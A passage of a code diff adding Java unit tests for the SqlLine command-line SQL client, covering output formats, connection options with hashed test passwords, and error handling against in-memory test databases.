+          "CREATE TABLE rsTest ( a int);",
+          "insert into rsTest values (1);",
+          "insert into rsTest values (2);",
+          "select a from rsTest; ");
+      String output = os.toString("UTF8");
+      assertThat(output, containsString("Generated Exception"));
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /**
+   * Attempts to execute a missing script file with the -f option to SqlLine.
+   */
+  @Test
+  public void testNegativeScriptFile() {
+    // Create and delete a temp file
+    File scriptFile = createTempFile("sqllinenegative", "temp");
+    final boolean delete = scriptFile.delete();
+    assertThat(delete, is(true));
+
+    Pair pair = runScript(scriptFile, true, null);
+    assertThat(pair.status, equalTo(SqlLine.Status.OTHER));
+    assertThat(pair.output, not(containsString(" 123 ")));
+  }
+
+  /** Displays usage. */
+  @Test
+  public void testUsage() {
+    Pair pair = run("--help");
+    assertThat(pair.status, equalTo(SqlLine.Status.ARGS));
+    assertThat(pair.output, containsString("-f <file>"));
+    assertThat(countUsage(pair.output), equalTo(1));
+  }
+
+  private int countUsage(String output) {
+    int n = 0;
+    for (String line : output.split("\n")) {
+      if (line.contains("Usage")) {
+        ++n;
+      }
+    }
+    return n;
+  }
+
+  /** Invalid arguments. */
+  @Test
+  public void testInvalidArguments() {
+    Pair pair = run("--fuzz");
+    assertThat(pair.status, equalTo(SqlLine.Status.ARGS));
+    assertThat(pair.output, containsString("-f <file>"));
+    assertThat(countUsage(pair.output), equalTo(1));
+  }
+
+  /** Result of executing sqlline: status code and output. */
+  static class Pair {
+    final SqlLine.Status status;
+    final String output;
+
+    Pair(SqlLine.Status status, String output) {
+      this.status = status;
+      this.output = output;
+    }
+  }
+
+  @Test
+  public void testIsolationSetting() {
+    final String script0 = "!isolation TRANSACTION_NONE\n";
+    final String expected = "Transaction isolation level TRANSACTION_NONE "
+        + "is not supported. Default (TRANSACTION_READ_COMMITTED) "
+        + "will be used instead.";
+    checkScriptFile(script0, true, equalTo(SqlLine.Status.OTHER),
+        containsString(expected));
+  }
+
+  @Test
+  public void testDefaultIsolation() {
+    final String script1 = "!isolation default\n";
+    checkScriptFile(script1, true, equalTo(SqlLine.Status.OK),
+        allOf(not(containsString("Transaction isolation level")),
+            not(containsString("is not supported"))));
+  }
+
+  /**
+   * HIVE-4566, "NullPointerException if typeinfo and nativesql commands are
+   * executed at beeline before a DB connection is established".
+   */
+  @Test
+  public void testNPE() {
+    SqlLine sqlLine = new SqlLine();
+
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    PrintStream sqllineOutputStream = getPrintStream(os);
+    sqlLine.setOutputStream(sqllineOutputStream);
+    sqlLine.setErrorStream(sqllineOutputStream);
+
+    try {
+      sqlLine.runCommands(new DispatchCallback(), "!typeinfo");
+      String output = os.toString("UTF8");
+      assertThat(
+          output, not(containsString("java.lang.NullPointerException")));
+      assertThat(output, containsString("No current connection"));
+
+      sqlLine.runCommands(new DispatchCallback(), "!nativesql");
+      output = os.toString("UTF8");
+      assertThat(
+          output, not(containsString("java.lang.NullPointerException")));
+      assertThat(output, containsString("No current connection"));
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testCommandHandlerOnStartup() {
+    SqlLine sqlLine = new SqlLine();
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    final String[] args = {
+        "-e", "!set maxwidth 80",
+        "-ch", "sqlline.extensions.HelloWorldCommandHandler"};
+    begin(sqlLine, os, false, args);
+
+    try {
+      sqlLine.runCommands(new DispatchCallback(), "!hello");
+      String output = os.toString("UTF8");
+      assertThat(output, containsString("HELLO WORLD"));
+      os.reset();
+      sqlLine.runCommands(new DispatchCallback(), "!test");
+      output = os.toString("UTF8");
+      assertThat(output, containsString("HELLO WORLD"));
+      os.reset();
+      sqlLine.runCommands(new DispatchCallback(), "!help hello");
+      output = os.toString("UTF8");
+      assertThat(output, containsString("help for hello test"));
+      sqlLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(sqlLine.isExit());
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testCommandHandler() {
+    SqlLine sqlLine = new SqlLine();
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    begin(sqlLine, os, false, "-e", "!set maxwidth 80");
+
+    try {
+      final String script = "!commandhandler"
+          + " sqlline.extensions.HelloWorld2CommandHandler"
+          + " sqlline.extensions.HelloWorldCommandHandler";
+      sqlLine.runCommands(new DispatchCallback(), script);
+      sqlLine.runCommands(new DispatchCallback(), "!hello");
+      String output = os.toString("UTF8");
+      assertThat(output, containsString("HELLO WORLD2"));
+      final String expected = "Could not add command handler "
+          + "sqlline.extensions.HelloWorldCommandHandler as one of commands "
+          + "[hello, test] is already present";
+      assertThat(output, containsString(expected));
+      os.reset();
+      sqlLine.runCommands(new DispatchCallback(), "!help hello");
+      output = os.toString("UTF8");
+      assertThat(output, containsString("help for hello2"));
+      sqlLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(sqlLine.isExit());
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testTablesCsv() {
+    final String script = "!set outputformat csv\n"
+        + "!tables\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("'TABLE_CAT','TABLE_SCHEM','TABLE_NAME',"),
+            containsString("'PUBLIC','SCOTT','SALGRADE','TABLE','',")));
+  }
+
+  /**
+   *  java.lang.NullPointerException test case from
+   *  https://github.com/julianhyde/sqlline/pull/86#issuecomment-410868361
+   */
+  @Test
+  public void testCsvDelimiterAndQuoteCharacter() {
+    final String script = "!set outputformat csv\n"
+        + "!set csvDelimiter null\n"
+        + "!set csvQuoteCharacter @\n"
+        + "values ('#', '@#@', 1, date '1969-07-20', null, ' 1''2\"3\t4');\n"
+        + "!set csvDelimiter ##\n"
+        + "values ('#', '@#@', 1, date '1969-07-20', null, ' 1''2\"3\t4');\n";
+    final String line1 = "@C1@null@C2@null@C3@null@C4@null@C5@null@C6@";
+    final String line2 =
+        "@#@null@@@#@@@null@1@null@1969-07-20@null@@null@ 1'2\"3\t4@";
+    final String line3 = "@C1@##@C2@##@C3@##@C4@##@C5@##@C6@";
+    final String line4 = "@#@##@@@#@@@##@1@##@1969-07-20@##@@##@ 1'2\"3\t4@";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString(line1), containsString(line2),
+            containsString(line3), containsString(line4)));
+  }
+
+  @Test
+  public void testCsvOneLiner() {
+    final String script = "!outputformat csv \"'\" @\n"
+        + "values ('#', '@#@', 1, date '1969-07-20', null, ' 1''2\"3\t4');\n"
+        + "!outputformat csv & default\n"
+        + "values ('#', '@#@', 1, date '1969-07-20', null, ' 1''2\"3\t4');\n";
+    final String line1 = "@C1@'@C2@'@C3@'@C4@'@C5@'@C6@";
+    final String line2 =
+        "@#@'@@@#@@@'@1@'@1969-07-20@'@@'@ 1'2\"3\t4@";
+    final String line3 = "'C1'&'C2'&'C3'&'C4'&'C5'&'C6'";
+    final String line4 =
+        "'#'&'@#@'&'1'&'1969-07-20'&''&' 1''2\"3\t4'";
+
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString(line1), containsString(line2),
+            containsString(line3), containsString(line4)));
+  }
+
+  @Test
+  public void testSetForNulls() {
+    final String script = "!set numberFormat null\n"
+        + "!set\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString("numberFormat        null"));
+  }
+
+  @Test
+  public void testSetNonIntValuesToIntProperties() {
+    SqlLine sqlLine = new SqlLine();
+    final String headerIntervalScript = "!set headerinterval abc\n";
+    checkScriptFile(headerIntervalScript, false, equalTo(SqlLine.Status.OK),
+        containsString(sqlLine.loc("not-a-number", "headerinterval", "abc")));
+
+    final String rowLimitScript = "!set rowlimit xxx\n";
+    checkScriptFile(rowLimitScript, false, equalTo(SqlLine.Status.OK),
+        containsString(sqlLine.loc("not-a-number", "rowlimit", "xxx")));
+  }
+
+  @Test
+  public void testSelectXmlAttributes() {
+    final String script = "!set outputformat xmlattr\n"
+        + "values (1, -1.5, 1 = 1, date '1969-07-20', null, ']]> 1''2\"3\t<>&4');\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("<resultset>"),
+            containsString("<result C1=\"1\" C2=\"-1.5\" C3=\"TRUE\" "
+                + "C4=\"1969-07-20\" C5=\"null\" "
+                + "C6=\"]]&gt; 1'2&quot;3\t&lt;>&amp;4\"/>")));
+  }
+
+  @Test
+  public void testSelectXmlElements() {
+    final String script = "!set outputformat xmlelements\n"
+        + "values (1, -1.5, 1 = 1, date '1969-07-20', null, ' ]]>1''2\"3\t<>&4');\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("<resultset>"),
+            containsString("<result>"),
+            containsString("<C1>1</C1>"),
+            containsString("<C2>-1.5</C2>"),
+            containsString("<C3>TRUE</C3>"),
+            containsString("<C4>1969-07-20</C4>"),
+            containsString("<C5>null</C5>"),
+            containsString("<C6> ]]&gt;1'2\"3\t&lt;>&amp;4</C6>"),
+            containsString("</result>"),
+            containsString("</resultset>")));
+  }
+
+  @Test
+  public void testTablesJson() {
+    final String script = "!set outputformat json\n"
+        + "!tables\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("{\"resultset\":["),
+            containsString("{\"TABLE_CAT\":\"PUBLIC\","
+                + "\"TABLE_SCHEM\":\"SYSTEM_LOBS\",\"TABLE_NAME\":\"BLOCKS\","
+                + "\"TABLE_TYPE\":\"SYSTEM TABLE\",\"REMARKS\":null,"
+                + "\"TYPE_CAT\":null,")));
+  }
+
+  @Test
+  public void testSelectJson() {
+    final String script = "!set outputformat json\n"
+        + "values (1, -1.5, 1 = 1, date '1969-07-20', null, ' 1''2\"3\t4');\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("{\"resultset\":["),
+            containsString("{\"C1\":1,\"C2\":-1.5,\"C3\":true,"
+                + "\"C4\":\"1969-07-20\",\"C5\":null,"
+                + "\"C6\":\" 1'2\\\"3\\t4\"}")));
+  }
+
+  @Test
+  public void testNullValue() {
+    final String script = "!set nullValue %%%\n"
+        + "!set outputformat csv\n"
+        + "values (NULL, -1.5, null, date '1969-07-20', null, 'null');\n"
+        + "!set nullValue \"'\"\n"
+        + "values (NULL, -1.5, null, date '1969-07-20', null, 'null');\n"
+        + "!set nullValue null\n"
+        + "values (NULL, -1.5, null, date '1969-07-20', null, 'null');\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        CoreMatchers.allOf(containsString("'C1','C2','C3','C4','C5','C6'"),
+            containsString("'%%%','-1.5','%%%','1969-07-20','%%%','null'"),
+            containsString("'C1','C2','C3','C4','C5','C6'"),
+            containsString("'''','-1.5','''','1969-07-20','''','null'"),
+            containsString("'C1','C2','C3','C4','C5','C6'"),
+            containsString("'null','-1.5','null','1969-07-20','null','null'")));
+  }
+
+  @Test
+  public void testTimeFormat() {
+    // Use System.err as it is used in sqlline.SqlLineOpts#set
+    final PrintStream originalErr = System.err;
+    try {
+      final ByteArrayOutputStream errBaos = new ByteArrayOutputStream();
+      System.setErr(
+          new PrintStream(errBaos, false, StandardCharsets.UTF_8.name()));
+
+      // successful patterns
+      final String okTimeFormat = "!set timeFormat HH:mm:ss\n";
+      final String defaultTimeFormat = "!set timeFormat default\n";
+      final String okDateFormat = "!set dateFormat YYYY-MM-dd\n";
+      final String defaultDateFormat = "!set dateFormat default\n";
+      final String okTimestampFormat = "!set timestampFormat default\n";
+      final String defaultTimestampFormat = "!set timestampFormat default\n";
+
+      // successful cases
+      final SqlLine sqlLine = new SqlLine();
+      sqlLine.runCommands(new DispatchCallback(), okTimeFormat);
+      assertThat(errBaos.toString("UTF8"),
+          not(
+              anyOf(containsString("Error setting configuration"),
+                  containsString("Exception"))));
+      sqlLine.runCommands(new DispatchCallback(), defaultTimeFormat);
+      assertThat(errBaos.toString("UTF8"),
+          not(
+              anyOf(containsString("Error setting configuration"),
+                  containsString("Exception"))));
+      sqlLine.runCommands(new DispatchCallback(), okDateFormat);
+      assertThat(errBaos.toString("UTF8"),
+          not(
+              anyOf(containsString("Error setting configuration"),
+                  containsString("Exception"))));
+      sqlLine.runCommands(new DispatchCallback(), defaultDateFormat);
+      assertThat(errBaos.toString("UTF8"),
+          not(
+              anyOf(containsString("Error setting configuration"),
+                  containsString("Exception"))));
+      sqlLine.runCommands(new DispatchCallback(), okTimestampFormat);
+      assertThat(errBaos.toString("UTF8"),
+          not(
+              anyOf(containsString("Error setting configuration"),
+                  containsString("Exception"))));
+      sqlLine.runCommands(new DispatchCallback(), defaultTimestampFormat);
+      assertThat(errBaos.toString("UTF8"),
+          not(
+              anyOf(containsString("Error setting configuration"),
+                  containsString("Exception"))));
+
+      // failed patterns
+      final String wrongTimeFormat = "!set timeFormat qwerty\n";
+      final String wrongDateFormat = "!set dateFormat ASD\n";
+      final String wrongTimestampFormat =
+          "!set timestampFormat 'YYYY-MM-ddTHH:MI:ss'\n";
+
+      // failed cases
+      sqlLine.runCommands(new DispatchCallback(), wrongTimeFormat);
+      assertThat(errBaos.toString("UTF8"),
+          containsString("Illegal pattern character 'q'"));
+      sqlLine.runCommands(new DispatchCallback(), wrongDateFormat);
+      assertThat(errBaos.toString("UTF8"),
+          containsString("Illegal pattern character 'A'"));
+      sqlLine.runCommands(new DispatchCallback(), wrongTimestampFormat);
+      assertThat(errBaos.toString("UTF8"),
+          containsString("Illegal pattern character 'T'"));
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    } finally {
+      // Set error stream back
+      System.setErr(originalErr);
+    }
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/203">[SQLLINE-203]
+   * !indexes command fails because of Hive bug</a>.
+   * The bug in question is
+   * <a href="https://issues.apache.org/jira/browse/HIVE-20938">[HIVE-20983]
+   * HiveResultSetMetaData.getColumnDisplaySize throws for SHORT column</a>.
+   *
+   * @param meta Mocked hsqldb {@link JDBCResultSetMetaData} to use in the test
+   */
+  @Test
+  public void testOutputWithFailingColumnDisplaySize(
+      @Mocked final JDBCResultSetMetaData meta) {
+    try {
+      new Expectations() {
+        {
+          meta.getColumnCount();
+          result = 3;
+
+          meta.getColumnLabel(1);
+          result = "TABLE_CAT";
+
+          meta.getColumnLabel(2);
+          result = "TABLE_SCHEM";
+
+          meta.getColumnLabel(3);
+          result = "TABLE_NAME";
+
+          meta.getColumnDisplaySize(1);
+          result = new Exception("getColumnDisplaySize exception");
+        }
+      };
+
+      SqlLine sqlLine = new SqlLine();
+      ByteArrayOutputStream os = new ByteArrayOutputStream();
+      PrintStream sqllineOutputStream =
+          new PrintStream(os, false, StandardCharsets.UTF_8.name());
+      sqlLine.setOutputStream(sqllineOutputStream);
+      sqlLine.setErrorStream(sqllineOutputStream);
+      String[] args = {
+          "-d",
+          "org.hsqldb.jdbcDriver",
+          "-u",
+          "jdbc:hsqldb:res:scott",
+          "-n",
+          "SCOTT",
+          "-p",
+          "TIGER"
+      };
+      DispatchCallback callback = new DispatchCallback();
+      sqlLine.initArgs(args, callback);
+      FieldReflection.setFieldValue(
+          sqlLine.getClass().getDeclaredField("initComplete"), sqlLine, true);
+      sqlLine.getConnection();
+      sqlLine.runCommands(callback,
+          "!set incremental true",
+          "!set maxwidth 80",
+          "!set verbose true",
+          "!indexes");
+      assertThat(os.toString("UTF8"), not(containsString("Exception")));
+    } catch (Throwable e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  /**
+   * Tests the {@code !connect} command with interactive password submission.
+   */
+  @Test
+  public void testConnectWithoutPassword() {
+    new MockUp<sqlline.Commands>() {
+      @Mock
+      String readPassword(String url) {
+        return "";
+      }
+    };
+    SqlLine beeLine = new SqlLine();
+    try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+      SqlLine.Status status =
+          begin(beeLine, os, false, "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      DispatchCallback dc = new DispatchCallback();
+      beeLine.runCommands(dc,
+          "!set maxwidth 80",
+          "!set incremental true");
+      beeLine.runCommands(dc, "!connect "
+          + ConnectionSpec.H2.url + " "
+          + ConnectionSpec.H2.username);
+      beeLine.runCommands(dc, "!tables");
+      String output = os.toString("UTF8");
+      final String expected = "| TABLE_CAT | TABLE_SCHEM | "
+          + "TABLE_NAME | TABLE_TYPE | REMARKS | TYPE_CAT | TYP |";
+      assertThat(output, containsString(expected));
+      beeLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(beeLine.isExit());
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /**
+   * Tests the {@code !connect} command passing in the password in as a hash,
+   * and using h2's {@code PASSWORD_HASH} property outside of the URL:
+   *
+   * <blockquote>
+   * !connect -p PASSWORD_HASH TRUE jdbc:h2:mem sa 6e6f6e456d707479506173737764
+   * </blockquote>
+   */
+  @Test
+  public void testConnectWithDbPropertyAsParameter() {
+    SqlLine beeLine = new SqlLine();
+    try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+      SqlLine.Status status =
+          begin(beeLine, os, false, "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      DispatchCallback dc = new DispatchCallback();
+      beeLine.runCommands(dc,
+          "!set maxwidth 80",
+          "!set incremental true");
+      String fakeNonEmptyPassword = "nonEmptyPasswd";
+      final byte[] bytes =
+          fakeNonEmptyPassword.getBytes(StandardCharsets.UTF_8);
+      beeLine.runCommands(dc, "!connect "
+          + " -p PASSWORD_HASH TRUE "
+          + ConnectionSpec.H2.url + " "
+          + ConnectionSpec.H2.username + " "
+          + StringUtils.convertBytesToHex(bytes));
+      beeLine.runCommands(dc, "!tables");
+      String output = os.toString("UTF8");
+      final String expected = "| TABLE_CAT | TABLE_SCHEM | "
+          + "TABLE_NAME | TABLE_TYPE | REMARKS | TYPE_CAT | TYP |";
+      assertThat(output, containsString(expected));
+      beeLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(beeLine.isExit());
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /**
+   * Tests the {@code !connect} command passing in the password in as a hash,
+   * and using h2's {@code PASSWORD_HASH} and {@code ALLOW_LITERALS} properties
+   * outside of the URL:
+   *
+   * <blockquote>
+   * !connect -p PASSWORD_HASH TRUE -p ALLOW_LITERALS NONE
+   * jdbc:h2:mem sa 6e6f6e456d707479506173737764
+   * </blockquote>
+   */
+  @Test
+  public void testConnectWithDbPropertyAsParameter2() {
+    SqlLine beeLine = new SqlLine();
+    try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+      SqlLine.Status status =
+          begin(beeLine, os, false, "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      DispatchCallback dc = new DispatchCallback();
+      beeLine.runCommands(dc, "!set maxwidth 80");
+      String fakeNonEmptyPassword = "nonEmptyPasswd";
+      final byte[] bytes =
+          fakeNonEmptyPassword.getBytes(StandardCharsets.UTF_8);
+      beeLine.runCommands(dc, "!connect "
+            + " -p PASSWORD_HASH TRUE -p ALLOW_LITERALS NONE "
+            + ConnectionSpec.H2.url + " "
+            + ConnectionSpec.H2.username + " "
+            + StringUtils.convertBytesToHex(bytes));
+      beeLine.runCommands(dc, "select 1;");
+      String output = os.toString("UTF8");
+      final String expected = "Error:";
+      assertThat(output, containsString(expected));
+      beeLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(beeLine.isExit());
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /**
+   * Tests the {@code !connect} command passing the password in as a hash:
+   *
+   * <blockquote>
+   * !connect "jdbc:h2:mem; PASSWORD_HASH=TRUE" sa 6e6f6e456d707479506173737764
+   * </blockquote>
+   */
+  @Test
+  public void testConnectWithDbProperty() {
+    SqlLine beeLine = new SqlLine();
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    SqlLine.Status status =
+        begin(beeLine, os, false, "-e", "!set maxwidth 80");
+    assertThat(status, equalTo(SqlLine.Status.OK));
+    DispatchCallback dc = new DispatchCallback();
+
+    try {
+      beeLine.runCommands(dc, "!set maxwidth 80");
+
+      // fail attempt
+      String fakeNonEmptyPassword = "nonEmptyPasswd";
+      beeLine.runCommands(dc, "!connect \""
+            + ConnectionSpec.H2.url
+            + " ;PASSWORD_HASH=TRUE\" "
+            + ConnectionSpec.H2.username
+            + " \"" + fakeNonEmptyPassword + "\"");
+      String output = os.toString("UTF8");
+      final String expected0 = "Error:";
+      assertThat(output, containsString(expected0));
+      os.reset();
+
+      // success attempt
+      final byte[] bytes =
+          fakeNonEmptyPassword.getBytes(StandardCharsets.UTF_8);
+      beeLine.runCommands(dc, "!connect \""
+            + ConnectionSpec.H2.url
+            + " ;PASSWORD_HASH=TRUE;ALLOW_LITERALS=NONE\" "
+            + ConnectionSpec.H2.username + " \""
+            + StringUtils.convertBytesToHex(bytes)
+            + "\"");
+      beeLine.runCommands(dc, "!set incremental true");
+      beeLine.runCommands(dc, "!tables");
+      output = os.toString("UTF8");
+      final String expected1 = "| TABLE_CAT | TABLE_SCHEM | "
+          + "TABLE_NAME | TABLE_TYPE | REMARKS | TYPE_CAT | TYP |";
+      assertThat(output, containsString(expected1));
+
+      beeLine.runCommands(dc, "select 5;");
+      output = os.toString("UTF8");
+      final String expected2 = "Error:";
+      assertThat(output, containsString(expected2));
+      os.reset();
+
+      beeLine.runCommands(new DispatchCallback(), "!quit");
+      output = os.toString("UTF8");
+      assertThat(output,
+          allOf(not(containsString("Error:")), containsString("!quit")));
+      assertTrue(beeLine.isExit());
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  private static PrintStream getPrintStream(OutputStream os) {
+    try {
+      return new PrintStream(os, false, StandardCharsets.UTF_8.name());
+    } catch (UnsupportedEncodingException e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testReconnect() {
+    final String script = "!reconnect";
+    final String expected = "Reconnecting to \"jdbc:hsqldb:res:scott\"...\n"
+        + "Closing: org.hsqldb.jdbc.JDBCConnection";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString(expected));
+  }
+
+  @Test
+  public void testTables() {
+    // Set width so we don't inherit from the current terminal.
+    final String script = "!set maxwidth 80\n"
+        + "!set maxcolumnwidth 15\n"
+        + "!set incremental true\n"
+        + "!tables\n";
+    final String line0 =
+        "|    TABLE_CAT    |   TABLE_SCHEM   |   TABLE_NAME    |   TABLE_TYPE    |      |";
+    final String line1 =
+        "| PUBLIC          | SYSTEM_LOBS     | BLOCKS          | SYSTEM TABLE    |      |";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString(line0), containsString(line1)));
+  }
+
+  @Test
+  public void testTablesH2() {
+    connectionSpec = ConnectionSpec.H2;
+    // Set width so we don't inherit from the current terminal.
+    final String script = "!set maxwidth 80\n"
+        + "!set incremental true\n"
+        + "!tables\n";
+    final String line0 = "| TABLE_CAT | TABLE_SCHEM | TABLE_NAME |";
+    final String line1 =
+        "| UNNAMED   | INFORMATION_SCHEMA | CATALOGS   | SYSTEM TABLE";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString(line0), containsString(line1)));
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/107">[SQLLINE-107]
+   * Script fails if the wrong driver is specified with -d option
+   * and there is a valid registered driver for the specified url</a>.
+   *
+   */
+  @Test
+  public void testTablesH2WithErrorDriver() {
+    connectionSpec = ConnectionSpec.ERROR_H2_DRIVER;
+    // Set width so we don't inherit from the current terminal.
+    final String script = "!set maxwidth 80\n"
+        + "!set incremental true\n"
+        + "!tables\n";
+    final String line0 = "| TABLE_CAT | TABLE_SCHEM | TABLE_NAME |";
+    final String line1 =
+        "| UNNAMED   | INFORMATION_SCHEMA | CATALOGS   | SYSTEM TABLE";
+    final String message = "Could not find driver "
+        + connectionSpec.driver
+        + "; using registered driver org.h2.Driver instead";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        CoreMatchers.allOf(containsString(message),
+            not(containsString("NullPointerException")),
+            containsString(line0),
+            containsString(line1)));
+  }
+
+  @Test
+  public void testH2TablesWithErrorUrl() {
+    connectionSpec = ConnectionSpec.ERROR_H2_URL;
+    final String script = "!tables\n";
+
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        CoreMatchers.allOf(containsString("No suitable driver"),
+            not(containsString("NullPointerException"))));
+  }
+
+  @Test
+  public void testEmptyMetadata() {
+    final String script = "!metadata\n";
+    final String line = "Usage: metadata <methodname> <params...>";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        allOf(containsString(line), not(containsString("Exception"))));
+  }
+
+  /** Tests that methods inherited from Object are not included in the list
+   * of possible metadata methods. */
+  @Test
+  public void testPossibleMetadataValues() {
+    final String script = "!metadata 1\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        allOf(containsString("allProceduresAreCallable"),
+            containsString("getIndexInfo"),
+            not(containsString("Exception")),
+            not(containsString("equals")),
+            not(containsString("notify")),
+            not(containsString("wait")),
+            not(containsString("toString")),
+            not(containsString("hashCode")),
+            not(containsString("notifyAll"))));
+  }
+
+  @Test
+  public void testMetadataForClassHierarchy() {
+    final SqlLine beeLine = new SqlLine();
+
+    new MockUp<JDBCConnection>() {
+      @Mock
+      public DatabaseMetaData getMetaData() throws SQLException {
+        return new CustomDatabaseMetadata(
+            (JDBCConnection) beeLine.getConnection());
+      }
+    };
+
+    try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+      SqlLine.Status status =
+          begin(beeLine, os, false, "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      DispatchCallback dc = new DispatchCallback();
+      beeLine.runCommands(dc, "!connect "
+          + ConnectionSpec.HSQLDB.url + " \""
+          + ConnectionSpec.HSQLDB.username + "\" \""
+          + ConnectionSpec.HSQLDB.password + "\"");
+      os.reset();
+      beeLine.runCommands(dc, "!tables");
+      String output = os.toString("UTF8");
+      assertThat(output,
+          allOf(containsString("TABLE_CAT"),
+              not(containsString("No such method \"getTables\""))));
+    } catch (Exception e) {
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testEmptyRecord() {
+    final String line = "Usage: record <file name>";
+    checkScriptFile("!record", true, equalTo(SqlLine.Status.OTHER),
+        allOf(containsString(line), not(containsString("Exception"))));
+  }
+
+  @Test
+  public void testEmptyRun() {
+    final String line = "Usage: run <file name>";
+    checkScriptFile("!run", true, equalTo(SqlLine.Status.OTHER),
+        allOf(containsString(line), not(containsString("Exception"))));
+  }
+
+  @Test
+  public void testEmptyScript() {
+    final String line = "Usage: script <file name>";
+    checkScriptFile("!script", true, equalTo(SqlLine.Status.OTHER),
+        allOf(containsString(line), not(containsString("Exception"))));
+  }
+
+  @Test
+  public void testEscapeSqlMultiline() {
+    // Set width so we don't inherit from the current terminal.
+    final String script = "!set maxwidth 80\n"
+        + "!set maxColumnWidth 15\n"
+        + "!set escapeOutput yes\n"
+        + "values \n"
+        + "('\n"
+        + "multiline\n"
+        + "value') \n"
+        + ";\n";
+    final String line1 = ""
+        + "+-----------------+\n"
+        + "|       C1        |\n"
+        + "+-----------------+\n"
+        + "|  \\nmultiline \\nvalue |\n"
+        + "+-----------------+\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString(line1));
+  }
+
+  @Test
+  public void testSqlMultiline() {
+    // Set width so we don't inherit from the current terminal.
+    final String script = "!set maxwidth 80\n"
+        + "!set incremental true \n"
+        + "!sql \n"
+        + "values \n"
+        + "(1, 2) \n"
+        + ";\n";
+    final String line1 = ""
+        + "+-------------+-------------+\n"
+        + "|     C1      |     C2      |\n"
+        + "+-------------+-------------+\n"
+        + "| 1           | 2           |\n"
+        + "+-------------+-------------+";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString(line1));
+  }
+
+  @Test
+  public void testAllMultiline() {
+    // Set width so we don't inherit from the current terminal.
+    final String script = "!set maxwidth 80\n"
+        + "!set incremental true \n"
+        + "!all \n"
+        + "values \n"
+        + "(1, '2') \n"
+        + ";\n";
+    final String line1 = ""
+        + "+-------------+----+\n"
+        + "|     C1      | C2 |\n"
+        + "+-------------+----+\n"
+        + "| 1           | 2  |\n"
+        + "+-------------+----+";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString(line1));
+  }
+
+  @Test
+  public void testAppInfoMessage() {
+    Pair pair = run("-e", "!set maxwidth 80");
+    assertThat(pair.status, equalTo(SqlLine.Status.OK));
+    assertThat(pair.output,
+        containsString(Application.DEFAULT_APP_INFO_MESSAGE));
+
+    String[] args = {"-e", "!set maxwidth 80", "-ac", "INCORRECT_CLASS_NAME"};
+    pair = run(args);
+    assertThat(pair.output,
+        containsString("Could not initialize INCORRECT_CLASS_NAME"));
+    assertThat(pair.output,
+        containsString(CustomApplication.DEFAULT_APP_INFO_MESSAGE));
+
+    String[] args2 = {"-e", "!set maxwidth 80",
+        "-ac", "sqlline.extensions.CustomApplication"};
+    pair = run(args2);
+    assertThat(pair.output,
+        containsString(CustomApplication.CUSTOM_INFO_MESSAGE));
+  }
+
+  @Test
+  public void testCustomOutputFormats() {
+    // json format was removed
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "!set outputformat json\n"
+        + "values 1;";
